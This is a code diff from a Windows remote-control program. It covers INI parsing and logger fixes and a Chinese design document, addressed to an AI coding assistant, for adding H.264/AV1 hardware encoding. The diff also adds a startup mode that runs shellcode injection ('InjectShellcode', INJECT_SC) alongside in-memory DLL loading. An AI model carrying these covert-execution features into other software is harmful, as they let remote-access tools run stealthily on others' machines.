-            HANDLE handles[2] = { hProcess, hEvent };
-            DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
-            if (status == 1) {
-                TerminateProcess(hProcess, -1);
-                SAFE_CLOSE_HANDLE(hEvent);
-            }
-            SAFE_CLOSE_HANDLE(hProcess);
-            Mprintf("Process [%d] is finished.\n", pid);
-            if (status == 1) {
-                Mprintf("结束运行.\n");
-                Sleep(1000);
-                return -1;
-            }
-        } while (pid);
-    }
-
-    if (g_ConnectAddress.iStartup == Startup_InjSC) {
-        g_ConnectAddress.iStartup = Startup_MEMDLL;
-    }
-
     do {
         BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
                        argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
@@ -423,6 +423,9 @@ BOOL Run(const char* argv1, int argv2)
     case Startup_MEMDLL:
         runner = new MemoryDllRunner;
         break;
+    case Startup_InjSC:
+        runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
+        break;
     default:
         ExitProcess(-1);
         break;

common/IniParser.h

@@ -11,6 +11,7 @@
 
 #include <cstdio>
 #include <cstring>
+#include <fstream>
 #include <string>
 #include <map>
 
@@ -36,24 +37,20 @@ public:
         if (!filePath || !filePath[0])
             return false;
 
-        FILE* f = nullptr;
+        std::ifstream f(filePath);
-#ifdef _MSC_VER
+        if (!f.is_open())
-        if (fopen_s(&f, filePath, "r") != 0 || !f)
             return false;
-#else
-        f = fopen(filePath, "r");
-        if (!f)
-            return false;
-#endif
 
+        // 不再使用固定行缓冲：超过 4KB 的行（如团购授权数百个 IP 的列表）会被
+        // fgets 拆成多段，第二段不带 '=' 会被 ParseLine 丢弃 → 显示截断。
+        // std::getline 按行读 std::string，无长度上限。
         std::string currentSection;
-        char line[4096];
+        std::string line;
-
+        while (std::getline(f, line)) {
-        while (fgets(line, sizeof(line), f)) {
+            if (!line.empty()) {
-            ParseLine(line, currentSection);
+                ParseLine(&line[0], currentSection);
+            }
         }
-
-        fclose(f);
         return true;
     }
 
@@ -76,13 +73,11 @@ public:
             while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
                 lineEnd++;
 
-            // 复制行内容
+            // 不再限制行长度（原 4096 上限会悄无声息地丢弃长行）
             size_t lineLen = lineEnd - p;
-            if (lineLen > 0 && lineLen < 4096) {
+            if (lineLen > 0) {
-                char line[4096];
+                std::string line(p, lineLen);
-                memcpy(line, p, lineLen);
+                ParseLine(&line[0], currentSection);
-                line[lineLen] = '\0';
-                ParseLine(line, currentSection);
             }
 
             // 跳过换行符
@@ -100,24 +95,17 @@ public:
         if (!filePath || !filePath[0])
             return false;
 
-        FILE* f = nullptr;
+        std::ifstream f(filePath);
-#ifdef _MSC_VER
+        if (!f.is_open())
-        if (fopen_s(&f, filePath, "r") != 0 || !f)
             return false;
-#else
-        f = fopen(filePath, "r");
-        if (!f)
-            return false;
-#endif
 
         std::string currentSection;
-        char line[4096];
+        std::string line;
-
+        while (std::getline(f, line)) {
-        while (fgets(line, sizeof(line), f)) {
+            if (!line.empty()) {
-            ParseLine(line, currentSection);
+                ParseLine(&line[0], currentSection);
+            }
         }
-
-        fclose(f);
         return true;
     }
 

common/commands.h

@@ -255,6 +255,7 @@ enum {
     CMD_AUDIO_CTRL = 95,            // 音频控制: [cmd:1][enable:1][persist:1]
     TOKEN_SCREEN_AUDIO = 96,        // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
     COMMAND_SHARE_CANCEL = 97,
+    COMMAND_ENCODE_LEVEL = 98,
 
     TOKEN_SCROLL_FRAME = 99,        // 滚动优化帧
     // 服务端发出的标识
@@ -1188,6 +1189,12 @@ enum QualityLevel {
 #define ALGORITHM_RGB565  3   // RGB565 压缩
 #endif
 
+enum EncodeLevel {
+    LEVEL_H264_SOFT = 0,
+    LEVEL_H264_HARD = 1,
+    LEVEL_AV1_HARD = 2,
+};
+
 /* 质量配置(与 QualityLevel 对应)
 - strategy = 0：1080p 限制
 - strategy = 1：原始分辨率
@@ -1272,7 +1279,8 @@ typedef struct ScreenSettings {
     int         CpuSpeedup;                 // 偏移 36, 指令集加速(0: 无, 1: SSE2)
     int         ScreenType;                 // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
     int         AudioEnabled;               // 偏移 44, 音频传输(0: 禁用, 1: 启用)
-    char        Reserved[48];               // 偏移 48, 保留字段（新能力参数从此处扩展）
+    int         EncodeLevel;                // 偏移 48, 编码等级
+    char        Reserved[44];               // 偏移 52, 保留字段（新能力参数从此处扩展）
     uint32_t    Capabilities;               // 偏移 96, 能力位标志（放最后）
 } ScreenSettings;                           // 总大小 100 字节
 
@@ -1361,7 +1369,8 @@ enum {
 
     SHELLCODE = 0,
     MEMORYDLL = 1,
-    RUNTYPE_MAX = 2,
+    INJECT_SC = 2,
+    RUNTYPE_MAX = 3,
 
     CALLTYPE_DEFAULT = 0,		// 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
     CALLTYPE_IOCPTHREAD = 1,	// 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)

common/config.h

@@ -0,0 +1,6 @@
+
+// 请设置为禁用，防止GPL开源传染性
+#define DISABLE_X264_FOR_TEST 0
+
+// 请设置为禁用，防止GPL开源传染性
+#define DISABLE_FFMPEG_FOR_TEST 0

common/iniFile.h

@@ -208,9 +208,25 @@ public:
 
     virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
     {
-        char buf[4096] = { 0 };  // 增大缓冲区以支持较长的值（如 IP 列表）
+        // 动态扩容读取：GetPrivateProfileStringA 在缓冲不够时会从中间截断，
-        DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath);
+        // 必须以"是否返回 bufSize-1"判断截断并翻倍重读，否则长值（如团购授权的
-        return std::string(buf);
+        // IP 列表）会被悄无声息地切断，且后续 read-modify-write 把截断结果写回时
+        // 造成永久数据丢失。
+        DWORD bufSize = 4096;
+        const DWORD kMaxBufSize = 1024 * 1024;  // 1MB 兜底，避免失控
+        std::vector<char> buf;
+        for (;;) {
+            buf.assign(bufSize, 0);
+            DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(),
+                                                 def.c_str(), buf.data(), bufSize,
+                                                 m_IniFilePath);
+            // 未截断：n < bufSize - 1
+            if (n + 1 < bufSize || bufSize >= kMaxBufSize) {
+                return std::string(buf.data(), n);
+            }
+            bufSize *= 2;
+            if (bufSize > kMaxBufSize) bufSize = kMaxBufSize;
+        }
     }
 
     virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)

common/logger.h

@@ -228,16 +228,19 @@ private:
     }
 
     // 后台线程处理日志
+    // 退出语义：stop() 设 running=false 后，本线程必须把队列里**已入队**的日志
+    // 全部刷盘再退出。否则进程死亡前最后几条 Mprintf（包括退出原因）会丢失。
     void processLogs()
     {
         threadRun = true;
-        while (running) {
+        while (true) {
             std::unique_lock<std::mutex> lock(queueMutex);
             cv.wait(lock, [this]() {
                 return !running || !logQueue.empty();
             });
 
-            while (running && !logQueue.empty()) {
+            // drain：不带 running 判断，确保 stop() 时残留条目也写完
+            while (!logQueue.empty()) {
                 std::string logEntry = logQueue.front();
                 logQueue.pop();
                 lock.unlock();
@@ -247,7 +250,9 @@ private:
 
                 lock.lock();
             }
-            lock.unlock();
+
+            // 队列已空再决定要不要退出
+            if (!running) break;
         }
         threadRun = false;
     }

docs/HardwareEncoding_Design.md

@@ -0,0 +1,977 @@
+# 视频编码硬件加速实现指导文档
+
+本文档供 AI 编码助手参考，用于在现有 C++ 远程控制程序中实现 H.264 硬件编码 + AV1 编码路径。
+
+---
+
+## 1. 项目背景
+
+### 1.1 当前状态
+
+- C++ Windows 远程控制程序
+- 已实现 H.264 编码，基于 x264 软编（`CX264Encoder`），preset = `ultrafast + zerolatency`
+- 视频管线：桌面捕获（RGB/BGRA）→ 编码 → 网络传输 → 客户端解码显示
+- 当前架构：每个主控端连接对应一个独立编码器实例
+- **分发模式**：单 exe，FFmpeg 静态链接
+
+### 1.2 目标
+
+分两阶段渐进推进，**始终保留 x264 软编作为兜底**：
+
+**阶段一（H.264 硬编加速）**
+- 新增 H.264 硬编（NVENC / QSV / AMF），按 GPU 能力探测优先走硬编
+- x264 软编在无 GPU / 虚拟机 / 远程桌面会话等环境下兜底
+- 浏览器解码零兼容性风险（H.264 全平台原生支持）
+
+**阶段二（AV1 路径）**
+- 新增 AV1 硬编（`av1_nvenc` / `av1_qsv` / `av1_amf`）
+- 客户端浏览器握手时声明 AV1 能力
+- 双方都能用就走 AV1，否则回落 H.264
+
+**最终产物仍为单 exe**，体积增量可接受 6–10 MB。
+
+### 1.3 关键决策记录
+
+#### 1.3.1 为什么跳过 HEVC
+
+经评估，HEVC 在本项目目标场景下没有独占价值：
+
+| 维度 | 现状 |
+|---|---|
+| **浏览器解码** | Firefox 完全不支持；Chrome/Edge 需 Win11 + 商店付费的 HEVC Video Extensions |
+| **专利授权** | 商用涉及 MPEG-LA / Access Advance / Velos Media 三个专利池 |
+| **替代方案** | AV1 压缩效率更高、AOMedia 免专利、浏览器原生支持广 |
+
+HEVC 编码端硬件普及度好（几乎所有 2015+ GPU）这个优势，被解码端短板完全抵消。
+
+#### 1.3.2 为什么 H.264 硬编先于 AV1
+
+- **AV1 硬编硬件门槛高**：仅 NVIDIA RTX 40+ / AMD RX 7000+ / Intel Arc 才有
+- **"多机混杂"场景**下大部分编码端 GPU 没有 AV1 硬编
+- **H.264 硬编**（NVENC/QSV/AMF）几乎所有现代 GPU 都有，覆盖面广
+- **客户端浏览器解 H.264** 是零兼容性问题，跨浏览器/跨平台 100% 通用
+
+H.264 硬编是先把"地板抬起来"，AV1 是"在新硬件上的天花板"。
+
+### 1.4 设计约束
+
+- **平台**：仅 Windows（macOS/Linux 未来另行设计）
+- **GPU 不确定**：NVIDIA / AMD / Intel / 无独显 / 虚拟机无 GPU 都需支持
+- **延迟要求**：不敏感（不追求极致低延迟）
+- **并发模型**：通常 1 对 1，少数 1 对多（每个连接独立编码器）
+- **客户端**：浏览器（WebCodecs 优先，`<video>` 次之），未来集成
+- **工具链**：Visual Studio 2019
+- **属性**：个人项目，暂不商用，专利问题搁置但仍优先选免专利方案
+
+---
+
+## 2. 技术方案总览
+
+### 2.1 编码器优先级链
+
+```
+新连接进入（带客户端能力）
+       │
+       ├─ 客户端声明支持 AV1？─── 否 ────┐
+       │       是                       │
+       │       ↓                        │
+       ├─ av1_nvenc/qsv/amf 能开？──┐   │
+       │       │                    │   │
+       │       成功 → 用 AV1         │   │
+       │                            ↓   ↓
+       └─ h264_nvenc/qsv/amf/mf 能开？──┐
+              │                         │
+              成功 → 用 H.264 硬编        │
+                                        ↓
+                                  x264 软编（始终可用）
+```
+
+### 2.2 编码器后端表
+
+| 类型 | FFmpeg 编码器名 | 硬件要求 | 备注 |
+|---|---|---|---|
+| AV1 硬编 | `av1_nvenc` | NVIDIA RTX 40+（Ada Lovelace） | 2022 Q4 起 |
+| AV1 硬编 | `av1_amf`   | AMD RX 7000+（RDNA 3） | 2022 Q4 起 |
+| AV1 硬编 | `av1_qsv`   | Intel Arc / 部分新 Iris Xe | 2022 起 |
+| H.264 硬编 | `h264_nvenc` | 几乎所有 NVIDIA GPU（GTX 650+） | 2012 起 |
+| H.264 硬编 | `h264_qsv`   | 几乎所有 Intel 核显（HD 4000+） | 2012 起 |
+| H.264 硬编 | `h264_amf`   | 几乎所有 AMD GPU | |
+| H.264 硬编 | `h264_mf`    | Windows Media Foundation | 兜底，质量/稳定性一般 |
+| H.264 软编 | `libx264`（现有 `CX264Encoder`） | 任意 CPU | 始终兜底 |
+
+**不使用 `libx265` / `libaom-av1` / `libsvtav1`**（CPU 软编），原因：
+- 远控产品对 CPU 占用敏感，AV1/HEVC 软编实时编码压力大
+- `libx265` 会让 FFmpeg 切到 GPL，`libaom-av1` 编码速度也不够
+
+### 2.3 类结构
+
+```
+VideoEncoderBase（新增抽象接口）
+    ├── CX264Encoder           （改造现有类继承接口，保留软编兜底）
+    ├── CFFmpegH264Encoder     （新增，封装 h264_nvenc/qsv/amf/mf）
+    └── CFFmpegAV1Encoder      （新增，封装 av1_nvenc/qsv/amf）
+```
+
+### 2.4 协商流程
+
+```
+握手阶段：
+- 客户端（浏览器）在 WebSocket 握手时上报能力：
+    { "codecs": ["av1", "h264"] }    // 浏览器实际能解的，按优先级排
+- 服务端取「客户端能力 ∩ 自己硬件能力」选 codec
+
+会话阶段：
+- 选定 codec 后创建对应编码器，整个连接生命周期不变
+- 运行中不切换 codec（保持简单，需要切换就重连）
+```
+
+---
+
+## 3. 硬编 vs 现有 x264 软编对比
+
+### 3.1 CPU 占用（最大收益）
+
+| 编码器 | 1080p @ 30fps CPU 占用 |
+|---|---|
+| x264 `ultrafast`（现状） | 单核 15–30% |
+| x264 `medium`（同画质基准） | 单核 60–100% |
+| `h264_nvenc p4` | 总 **1–3%** |
+| `h264_qsv medium` | 总 2–5% |
+| `h264_amf balanced` | 总 2–5% |
+
+被控端是用户的主力工作机，他自己还在干活。CPU 让出来意味着远控对他几乎不可感。
+
+### 3.2 同 CPU 预算下画质更高
+
+x264 的 preset 排序（同码率下画质）：
+
+```
+ultrafast < superfast < veryfast < faster < fast < medium < slow ...
+   ↑ 现状                                       ↑ 标准基准
+```
+
+NVENC `p4` 预设大致对应 x264 `fast` ~ `medium`，**画质明显优于当前 ultrafast，且 CPU 占用低一个数量级**。
+
+### 3.3 其他收益
+
+- **编码延迟稳定**：ASIC 不受 CPU 调度影响，单帧 1–5 ms
+- **笔记本电池/温度**：ASIC 几瓦，键盘不烫、风扇不转
+- **可拉高分辨率/帧率**：4K@30 / 多屏拼接软编扛不住，硬编轻松
+
+### 3.4 代价（必须接受）
+
+- **二进制 +6–10 MB**（FFmpeg 静态库，可接受）
+- **编译复杂度上升**：vcpkg 或自编 FFmpeg
+- **不同后端参数语义有差异**：rc 模式、preset 名字、bitrate 表现都不一样
+- **必须保留 x264 软编兜底**：无 GPU / 远程桌面 / 虚拟机 / NVENC session 满 等场景
+
+---
+
+## 4. 现有 H.264 编码器现状
+
+`CX264Encoder` 签名（`client/X264Encoder.cpp`）：
+
+```cpp
+class CX264Encoder
+{
+private:
+    x264_t*         m_pCodec;
+    x264_picture_t* m_pPicIn;
+    x264_picture_t* m_pPicOut;
+    x264_param_t    m_Param;
+
+public:
+    bool open(int width, int height, int fps, int crf);
+    bool open(x264_param_t* param);
+    void close();
+    int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
+               uint32_t width, uint32_t height,
+               uint8_t** lppData, uint32_t* lpSize,
+               int direction = 1);
+};
+```
+
+集成点（`client/ScreenCapture.h`）：
+
+| 位置 | 内容 |
+|---|---|
+| `L148` | `CX264Encoder* m_encoder;`（持有具体类，需改为接口） |
+| `L926-930` | 关键帧路径硬编码 `new CX264Encoder()` |
+| `L956-960` | 增量帧路径硬编码 `new CX264Encoder()` |
+| `L170-176` | `BitRateToCRF(bitRate)` 码率→CRF 映射 |
+
+参数现状：
+- `param.i_threads = 1`
+- `preset = "ultrafast", tune = "zerolatency"`
+- `i_keyint_max = fps * 15`（15 秒一个 IDR）
+- `i_bframe = 0`、`b_open_gop = 0`
+- `rc.i_rc_method = X264_RC_CRF`（CRF 模式，未设 VBV）
+
+需要的改造（详见 §6）：
+1. `ScreenCapture::m_encoder` 改 `std::unique_ptr<VideoEncoderBase>`
+2. 编码器创建走 `CreateEncoder` 工厂
+3. 接口的 quality 语义解耦（CRF vs kbps，详见 §6.2）
+
+---
+
+## 5. FFmpeg 静态库准备
+
+### 5.1 推荐方案：vcpkg
+
+VS2019 + vcpkg 是最稳的路径：
+
+```
+vcpkg install ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md
+```
+
+要点：
+- **三元组选 `x64-windows-static-md`**：链接静态 FFmpeg 但用动态 CRT（`/MD`），与本项目当前工程一致
+- 如果工程是 `/MT` 改用 `x64-windows-static`
+- `nvcodec` feature 引入 NVENC 头文件，`amf` 引入 AMF，`qsv` 引入 libmfx
+- 阶段一只需要 H.264，可以先不带这些 feature，但建议一次到位
+
+阶段二需要 AV1，FFmpeg 较新版本默认已支持 `av1_nvenc` / `av1_amf` / `av1_qsv`，无需额外 feature 名。
+
+### 5.2 备选方案：自编
+
+MSYS2 + MinGW-w64 + `--toolchain=msvc` 产出 MSVC 兼容 `.lib`：
+
+```bash
+./configure \
+  --prefix=/path/to/install \
+  --arch=x86_64 \
+  --target-os=mingw64 \
+  --toolchain=msvc \
+  --disable-shared --enable-static \
+  --disable-everything \
+  --disable-autodetect \
+  --disable-network \
+  --disable-doc \
+  --disable-programs \
+  --disable-debug \
+  --enable-small \
+  --enable-encoder=h264_nvenc \
+  --enable-encoder=h264_amf \
+  --enable-encoder=h264_qsv \
+  --enable-encoder=h264_mf \
+  --enable-encoder=av1_nvenc \
+  --enable-encoder=av1_amf \
+  --enable-encoder=av1_qsv \
+  --enable-protocol=file
+```
+
+**不要** `--enable-gpl` 或 `--enable-libx265 / --enable-libaom`，保持 LGPL 且避免软编 H.265/AV1。
+
+### 5.3 工程链接配置（MSVC）
+
+**附加包含目录**（C/C++ → 常规）：
+```
+$(VcpkgRoot)\installed\x64-windows-static-md\include
+```
+
+**附加库目录**（链接器 → 常规）：
+```
+$(VcpkgRoot)\installed\x64-windows-static-md\lib
+```
+
+**附加依赖项**（链接器 → 输入）：
+```
+avcodec.lib
+avutil.lib
+swresample.lib
+
+# FFmpeg 静态链接依赖的 Windows 系统库
+mfplat.lib
+mfuuid.lib
+strmiids.lib
+ws2_32.lib
+secur32.lib
+bcrypt.lib
+```
+
+**预处理器定义**：
+```
+ENABLE_HW_ENCODER
+__STDC_CONSTANT_MACROS    # FFmpeg C 头文件在 C++ 中需要
+```
+
+---
+
+## 6. 实现任务清单
+
+### 6.1 文件清单
+
+| 文件 | 操作 | 说明 |
+|---|---|---|
+| `VideoEncoderBase.h` | 新增 | 抽象基类 + EncoderParams |
+| `X264Encoder.h/.cpp` | 修改 | 继承 `VideoEncoderBase`，新增 `forceIDR()` / `codec()` / `backendName()` |
+| `CFFmpegH264Encoder.h/.cpp` | 新增（阶段一） | 封装 `h264_nvenc/qsv/amf/mf` |
+| `CFFmpegAV1Encoder.h/.cpp` | 新增（阶段二） | 封装 `av1_nvenc/qsv/amf` |
+| `EncoderFactory.h/.cpp` | 新增 | 工厂 + 多后端探测 |
+| `EncoderProbe.h/.cpp` | 新增 | 启动时一次性探测可用后端，缓存结果 |
+| `ScreenCapture.h` | 修改 | `m_encoder` 改 `std::unique_ptr<VideoEncoderBase>` |
+| 握手协议代码 | 修改（阶段二） | 加 `codecs` 能力字段 |
+| 工程配置 | 修改 | FFmpeg 静态库链接（详见 §5.3） |
+
+### 6.2 抽象接口定义
+
+`VideoEncoderBase.h`：
+
+```cpp
+#pragma once
+#include <cstdint>
+
+enum class VideoCodec { H264, AV1 };
+enum class RateControl { CRF, BITRATE };
+
+struct EncoderParams {
+    int width;
+    int height;
+    int fps;
+    RateControl rc = RateControl::BITRATE;
+    int crf = 23;            // 当 rc == CRF 时使用（x264 路径）
+    int bitrate_kbps = 4000; // 当 rc == BITRATE 时使用（硬编路径）
+    int gop_seconds = 4;     // 关键帧间隔（秒），编码器内部转 frames
+};
+
+class VideoEncoderBase {
+public:
+    virtual ~VideoEncoderBase() = default;
+
+    virtual bool open(const EncoderParams& params) = 0;
+    virtual void close() = 0;
+
+    virtual int encode(
+        uint8_t* rgb,
+        uint8_t  bpp,
+        uint32_t stride,
+        uint32_t width,
+        uint32_t height,
+        uint8_t** lppData,
+        uint32_t* lpSize,
+        int direction = 1
+    ) = 0;
+
+    virtual void forceIDR() = 0;
+    virtual void setBitrate(int kbps) {}   // 默认空实现
+    virtual VideoCodec codec() const = 0;
+    virtual const char* backendName() const = 0;  // "x264" / "h264_nvenc" / "av1_amf" ...
+};
+```
+
+设计要点：
+- **抛弃** `open(w, h, fps, quality)` 的设计 —— `quality` 在 H.264 是 CRF、在硬编是 kbps，语义不清楚是坑
+- 改用 `EncoderParams` 结构体 + `RateControl` 枚举，明确指定速率控制模式
+- `backendName()` 返回实际后端名（"x264" / "h264_nvenc" / "av1_amf"），调用方可用于日志/监控
+
+### 6.3 CFFmpegH264Encoder 设计
+
+```cpp
+#pragma once
+#include "VideoEncoderBase.h"
+#include <vector>
+#include <string>
+
+extern "C" {
+#include <libavcodec/avcodec.h>
+#include <libavutil/opt.h>
+#include <libavutil/imgutils.h>
+}
+
+class CFFmpegH264Encoder : public VideoEncoderBase {
+public:
+    CFFmpegH264Encoder();
+    ~CFFmpegH264Encoder() override;
+
+    bool open(const EncoderParams& params) override;
+    void close() override;
+
+    int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
+               uint32_t width, uint32_t height,
+               uint8_t** lppData, uint32_t* lpSize,
+               int direction = 1) override;
+
+    void forceIDR() override;
+    void setBitrate(int kbps) override;
+    VideoCodec codec() const override { return VideoCodec::H264; }
+    const char* backendName() const override { return m_backend.c_str(); }
+
+private:
+    bool tryOpenBackend(const char* name, const EncoderParams& p);
+    void cleanupCodec();
+    int convertToNV12(uint8_t* rgb, uint8_t bpp, uint32_t stride,
+                      uint32_t width, uint32_t height, int direction);
+
+    AVCodecContext* m_ctx     = nullptr;
+    AVFrame*        m_frame   = nullptr;
+    AVPacket*       m_packet  = nullptr;
+    std::vector<uint8_t> m_outputBuffer;
+    std::vector<uint8_t> m_i420Scratch;   // RGB24 路径用
+    int64_t  m_pts       = 0;
+    bool     m_forceIDR  = false;
+    std::string m_backend;
+};
+```
+
+#### 6.3.1 后端探测顺序
+
+```cpp
+static const char* kH264Backends[] = {
+    "h264_nvenc",   // NVIDIA：质量/速度/稳定性都最好
+    "h264_qsv",     // Intel：核显普及度高
+    "h264_amf",     // AMD
+    "h264_mf",      // Media Foundation 兜底（可选，质量一般）
+};
+
+bool CFFmpegH264Encoder::open(const EncoderParams& p) {
+    for (auto name : kH264Backends) {
+        if (tryOpenBackend(name, p)) {
+            m_backend = name;
+            return true;
+        }
+        cleanupCodec();
+    }
+    return false;
+}
+```
+
+#### 6.3.2 各后端参数差异
+
+```cpp
+bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
+    const AVCodec* codec = avcodec_find_encoder_by_name(name);
+    if (!codec) return false;
+
+    m_ctx = avcodec_alloc_context3(codec);
+    if (!m_ctx) return false;
+
+    // 通用参数
+    m_ctx->width        = p.width;
+    m_ctx->height       = p.height;
+    m_ctx->time_base    = {1, p.fps};
+    m_ctx->framerate    = {p.fps, 1};
+    m_ctx->pix_fmt      = AV_PIX_FMT_NV12;
+    m_ctx->gop_size     = p.fps * p.gop_seconds;
+    m_ctx->max_b_frames = 0;
+    m_ctx->bit_rate     = (int64_t)p.bitrate_kbps * 1000;
+    m_ctx->rc_max_rate  = (int64_t)p.bitrate_kbps * 1500;
+    m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
+
+    if (strcmp(name, "h264_nvenc") == 0) {
+        av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
+        av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
+        av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
+        av_opt_set(m_ctx->priv_data, "zerolatency", "1", 0);
+        av_opt_set(m_ctx->priv_data, "delay", "0", 0);
+    } else if (strcmp(name, "h264_qsv") == 0) {
+        av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
+        av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
+        av_opt_set_int(m_ctx->priv_data, "low_power", 0, 0);
+    } else if (strcmp(name, "h264_amf") == 0) {
+        av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
+        av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
+        av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
+    } else if (strcmp(name, "h264_mf") == 0) {
+        av_opt_set_int(m_ctx->priv_data, "hw_encoding", 1, 0);
+        av_opt_set(m_ctx->priv_data, "rate_control", "cbr", 0);
+    }
+
+    if (avcodec_open2(m_ctx, codec, nullptr) < 0) return false;
+
+    m_frame = av_frame_alloc();
+    m_frame->format = AV_PIX_FMT_NV12;
+    m_frame->width  = p.width;
+    m_frame->height = p.height;
+    if (av_frame_get_buffer(m_frame, 32) < 0) return false;
+
+    m_packet = av_packet_alloc();
+    return m_packet != nullptr;
+}
+```
+
+#### 6.3.3 encode 实现
+
+```cpp
+int CFFmpegH264Encoder::encode(
+    uint8_t* rgb, uint8_t bpp, uint32_t stride,
+    uint32_t width, uint32_t height,
+    uint8_t** lppData, uint32_t* lpSize, int direction)
+{
+    if (av_frame_make_writable(m_frame) < 0) return -1;
+
+    // 像素格式转换（直接用 libyuv，与现有 x264 路径保持一致，不引入 sws_scale）
+    int signed_height = direction * (int)height;
+    if (bpp == 32) {
+        libyuv::ARGBToNV12(
+            rgb, stride,
+            m_frame->data[0], m_frame->linesize[0],
+            m_frame->data[1], m_frame->linesize[1],
+            width, signed_height
+        );
+    } else if (bpp == 24) {
+        if (convertToNV12(rgb, bpp, stride, width, height, direction) != 0)
+            return -1;
+    } else {
+        return -2;
+    }
+
+    m_frame->pts = m_pts++;
+
+    if (m_forceIDR) {
+        m_frame->pict_type = AV_PICTURE_TYPE_I;
+        m_frame->key_frame = 1;
+        m_forceIDR = false;
+    } else {
+        m_frame->pict_type = AV_PICTURE_TYPE_NONE;
+        m_frame->key_frame = 0;
+    }
+
+    if (avcodec_send_frame(m_ctx, m_frame) < 0) return -3;
+
+    int ret = avcodec_receive_packet(m_ctx, m_packet);
+    if (ret == AVERROR(EAGAIN)) {
+        // 首帧延迟正常情况：返回成功但本次无输出
+        *lpSize = 0;
+        *lppData = nullptr;
+        return 0;
+    }
+    if (ret < 0) return -4;
+
+    m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
+    *lppData = m_outputBuffer.data();
+    *lpSize  = (uint32_t)m_outputBuffer.size();
+    av_packet_unref(m_packet);
+    return 0;
+}
+```
+
+#### 6.3.4 RGB24 → NV12（libyuv 无直接 API，两步走）
+
+```cpp
+int CFFmpegH264Encoder::convertToNV12(uint8_t* rgb, uint8_t /*bpp*/,
+                                      uint32_t stride, uint32_t width, uint32_t height,
+                                      int direction)
+{
+    int signed_height = direction * (int)height;
+    int y_size  = width * height;
+    int uv_size = (width / 2) * (height / 2);
+    m_i420Scratch.resize(y_size + 2 * uv_size);
+
+    uint8_t* y = m_i420Scratch.data();
+    uint8_t* u = y + y_size;
+    uint8_t* v = u + uv_size;
+
+    libyuv::RGB24ToI420(
+        rgb, stride,
+        y, width,
+        u, width / 2,
+        v, width / 2,
+        width, signed_height
+    );
+    libyuv::I420ToNV12(
+        y, width,
+        u, width / 2,
+        v, width / 2,
+        m_frame->data[0], m_frame->linesize[0],
+        m_frame->data[1], m_frame->linesize[1],
+        width, height
+    );
+    return 0;
+}
+```
+
+### 6.4 CFFmpegAV1Encoder 设计
+
+结构与 `CFFmpegH264Encoder` **完全对称**，仅 backend 名换：
+
+```cpp
+static const char* kAV1Backends[] = {
+    "av1_nvenc",   // RTX 40+
+    "av1_amf",     // RX 7000+
+    "av1_qsv",     // Intel Arc / 部分 11 代+ 核显
+};
+```
+
+参数差异（av1_nvenc 与 h264_nvenc 略有不同）：
+
+```cpp
+if (strcmp(name, "av1_nvenc") == 0) {
+    av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
+    av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
+    av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
+    // AV1 特有：tile-columns/rows 可调，多核解码更友好
+    av_opt_set_int(m_ctx->priv_data, "tile-columns", 1, 0);
+} else if (strcmp(name, "av1_amf") == 0) {
+    av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
+    av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
+    av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
+} else if (strcmp(name, "av1_qsv") == 0) {
+    av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
+    av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
+}
+```
+
+实现建议：先把 `CFFmpegH264Encoder` 跑通稳定，**再把它复制改名做 AV1 版本**。同步两个类的逻辑可以后续考虑抽公共基类，但不要为了 DRY 提前抽。
+
+### 6.5 EncoderFactory 与探测
+
+`EncoderFactory.h`：
+
+```cpp
+#pragma once
+#include "VideoEncoderBase.h"
+#include <memory>
+
+struct ClientCapability {
+    bool supportAV1  = false;
+    bool supportH264 = true;   // 假定都支持
+};
+
+struct EncoderRequest {
+    int width, height, fps;
+    int bitrate_kbps;
+    ClientCapability client;
+};
+
+std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
+```
+
+`EncoderFactory.cpp`：
+
+```cpp
+#include "EncoderFactory.h"
+#include "EncoderProbe.h"
+#include "CFFmpegAV1Encoder.h"
+#include "CFFmpegH264Encoder.h"
+#include "X264Encoder.h"
+
+std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
+    EncoderParams p;
+    p.width  = req.width;
+    p.height = req.height;
+    p.fps    = req.fps;
+
+    // 1. AV1 路径（仅当客户端支持且启动探测确认硬件可用）
+    if (req.client.supportAV1 && EncoderProbe::HasAV1Hw()) {
+        auto enc = std::make_unique<CFFmpegAV1Encoder>();
+        p.rc = RateControl::BITRATE;
+        p.bitrate_kbps = req.bitrate_kbps;
+        if (enc->open(p)) {
